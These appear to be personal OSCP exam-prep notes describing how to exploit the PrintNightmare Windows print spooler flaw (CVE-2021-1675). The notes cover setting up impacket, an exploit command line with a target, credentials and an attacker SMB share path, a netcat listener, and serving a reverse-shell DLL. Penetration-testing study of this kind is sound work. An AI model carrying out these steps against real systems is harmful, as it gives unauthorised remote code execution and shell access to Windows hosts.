O
O
OSCP Notes
Search…
⌃K

print nightmare

create a virtual env for the particular impacket.
  1. 1.
    git clone it
2. python3 -m venv venv
source venv/bin/activate
cd into the impacket
and pip3 install -r requirements.txt
3. python3 setup.py install
4. this python script is more stable
https://github.com/cube0x0/CVE-2021-1675/pull/25/files
copy the content and make a new file.
python3 printnightmare.py 'user:[email protected]' Printername(anything) '\\IP\gori(anything)'
run sudo nc -nvlp 445
  • set up smb.conf like from the github & 'sudo service smbd restart'
  • if it works, you can look up cpp rev shell online and get a reverse shell by creating a dll file.
  • you need to compile it with local windows debugger